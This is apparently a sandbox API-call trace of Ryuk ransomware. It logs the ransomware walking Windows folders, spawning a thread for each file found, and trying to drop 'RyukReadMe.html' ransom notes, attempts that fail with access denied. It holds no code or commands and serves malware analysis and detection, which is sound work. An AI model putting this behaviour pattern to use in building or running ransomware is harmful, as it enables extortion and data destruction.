	[0161.162] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0161.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368
	[0161.165] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.165] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0xa0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1
	[0161.165] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0161.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c
	[0161.477] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.478] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0xa0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0
	[0161.478] FindClose (in: hFindFile=0x7c630 | out: hFindFile=0x7c630) returned 1
	[0162.104] SetLastError (dwErrCode=0x0) 
	[0162.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.116] GetLastError () returned 0x5
	[0162.116] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.116] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.116] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x84, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0162.116] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c
	[0162.120] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.120] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1
	[0162.121] SetLastError (dwErrCode=0x0) 
	[0162.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.121] GetLastError () returned 0x5
	[0162.121] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.121] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c630
	[0162.122] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.122] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0xa0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1
	[0162.122] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4
	[0162.125] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.126] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0xa0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0
	[0162.126] FindClose (in: hFindFile=0x7c630 | out: hFindFile=0x7c630) returned 1
	[0162.126] SetLastError (dwErrCode=0x0) 
	[0162.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.127] GetLastError () returned 0x5
	[0162.127] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.127] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.127] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x84, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1
	[0162.127] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0
	[0162.130] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.131] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1
	[0162.131] SetLastError (dwErrCode=0x0) 
	[0162.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.131] GetLastError () returned 0x5
	[0162.132] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.132] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c630
	[0162.134] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.134] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1
	[0162.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac
	[0162.136] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.137] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0
	[0162.137] FindClose (in: hFindFile=0x7c630 | out: hFindFile=0x7c630) returned 1
	[0162.137] SetLastError (dwErrCode=0x0) 
	[0162.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.138] GetLastError () returned 0x5
	[0162.138] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.138] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.138] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x84, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0162.138] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8
	[0162.250] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.251] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1
	[0162.251] SetLastError (dwErrCode=0x0) 
	[0162.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.252] GetLastError () returned 0x5
	[0162.252] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.252] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c630
	[0162.253] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.253] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1
	[0162.253] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4
	[0162.256] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.256] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0
	[0162.256] FindClose (in: hFindFile=0x7c630 | out: hFindFile=0x7c630) returned 1
	[0162.257] SetLastError (dwErrCode=0x0) 
	[0162.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.257] GetLastError () returned 0x5
	[0162.257] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.257] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.257] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x84, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0162.257] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0
	[0162.259] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.260] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1
	[0162.260] SetLastError (dwErrCode=0x0) 
	[0162.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.260] GetLastError () returned 0x5
	[0162.260] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.260] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.261] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c630
	[0162.261] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.261] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0xa0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1
	[0162.261] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc
	[0162.263] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.264] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0xa0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0
	[0162.264] FindClose (in: hFindFile=0x7c630 | out: hFindFile=0x7c630) returned 1
	[0162.264] SetLastError (dwErrCode=0x0) 
	[0162.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.265] GetLastError () returned 0x5
